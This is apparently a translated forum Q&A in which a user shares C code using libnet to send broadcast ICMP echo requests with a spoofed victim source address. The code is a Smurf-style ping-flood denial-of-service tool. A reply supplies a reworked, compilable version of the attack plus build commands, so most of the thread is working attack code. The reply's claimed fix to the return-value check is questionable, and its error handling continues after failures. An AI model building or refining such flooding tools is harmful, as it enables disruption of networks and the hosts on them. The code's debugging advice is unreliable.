我正在尝试创建一个ping泛洪程序,它将目标IP地址和广播IP地址作为参数。程序将icmp echo数据包发送到广播地址,并以victms ip地址作为源。获得数据包的网络上的所有主机都会将答案返回给受害者。
代码如下所示:
#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
#include <udi.h>
void usage(char * pname)
{
printf("[!] The program sends fake icmp echo request to broadcast address in order to ping flood a device\n", pname);
printf("[!] USAGE - %s [ipv4 address to attack] [ipv4 broadcast address]\n", pname);
}
int main(int argc, char *argv[])
{
if(argc != 3)
usage(argv[0]);
char errbuff[LIBNET_ERRBUF_SIZE];
libnet_t *l;
uint16_t cmp_id;
uint16_t ip_id;
for(int i=0; i<100; i++)
{
l=libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff); //initializing the packet
if(l==NULL)
{
fatal("in initializing the index of the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
libnet_seed_prand(l);
cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
{
fatal("while trying to build icmpv4_echo packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
if(libnet_build_ipv4(LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H, 0, ip_id, 0, 255, IPPROTO_ICMP, 0, inet_addr(argv[1]), inet_addr(argv[2]), NULL, 0, l, 0) == -1)
{
fatal("while trying to create ipv4 header...\nERROR: ");
printf("%s",libnet_geterror(l));
}
if(libnet_write(l) == -1)
{
fatal("while trying to write the packet...\nERROR: ");
printf("%s",libnet_geterror(l));
}
libnet_destroy(l);
}
return 0;
}
当我运行它时,我得到这个输出:
[!] FATAL ERROR: while trying to write the packet...
ERROR: : Success
我正在使用libnet库来创建数据包,我感觉我在libnet_build_ipv4()函数中有一些错误。
任何帮助和建议?
感谢名单。
关于:
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) == 0)
这是不正确的,0返回值表示成功。
声明应该是:
if(libnet_build_icmpv4_echo(ICMP_ECHO, 0, 0, cmp_id, 1, NULL, 0, l, 0) != 0)
注意从==
到!=
的变化
以下提议的代码:
libnet-config --defines
untitled2.c -o untitled2 libnet-config --libs
Caveat尚未使用实际网址进行测试
现在建议的代码:
#include <stdio.h>
#include <libnet.h>
#include <stdlib.h>
//#include <udi.h>
void usage(char * pname);
int main(int argc, char *argv[])
{
if(argc != 3)
{
usage(argv[0]);
exit( EXIT_FAILURE );
}
char errbuff[LIBNET_ERRBUF_SIZE];
uint16_t cmp_id;
uint16_t ip_id;
for( int i=0; i<100; i++ )
{
libnet_t *libObject = libnet_init(LIBNET_LINK, (char *) "wlan0", errbuff); //initializing the packet
if( ! libObject )
{
fprintf( stderr, "%s\n",
"in initializing the index of the packet...\nERROR: ");
fprintf( stderr, "%s\n", libnet_geterror( libObject ));
}
libnet_seed_prand( libObject );
cmp_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
ip_id = (uint16_t) libnet_get_prand(LIBNET_PR16);
if(libnet_build_icmpv4_echo(
ICMP_ECHO,
0,
0,
cmp_id,
1,
NULL,
0,
libObject,
0) != 0)
{
fprintf( stderr, "%s\n",
"while trying to build icmpv4_echo packet...\nERROR: ");
fprintf( stderr, "%s\n",
libnet_geterror( libObject ));
}
if( libnet_build_ipv4(
LIBNET_IPV4_H+LIBNET_ICMPV4_ECHO_H,
0,
ip_id,
0,
255,
IPPROTO_ICMP,
0,
inet_addr(argv[1]),
inet_addr(argv[2]),
NULL,
0,
libObject,
0) == -1)
{
fprintf( stderr, "%s\n",
"while trying to create ipv4 header...\nERROR: ");
fprintf( stderr, "%s\n",
libnet_geterror( libObject ));
}
if(libnet_write( libObject ) == -1)
{
fprintf( stderr, "%s\n",
"while trying to write the packet...\nERROR: ");
fprintf( stderr, "%s\n",
libnet_geterror( libObject ));
}
libnet_destroy( libObject );
}
return 0;
}
void usage(char * pname)
{
fprintf( stderr, "%s %s\n",
pname,
"sends fake icmp echo request to broadcast address "
"in order to ping flood a device");
fprintf( stderr, "USAGE: %s %s\n",
pname,
"[ipv4 address to attack] [ipv4 broadcast address]");
}
一段代码,没有参数导致:
./untitled2 sends fake icmp echo request to broadcast address in order to ping flood a device
USAGE: ./untitled2 [ipv4 address to attack] [ipv4 broadcast address]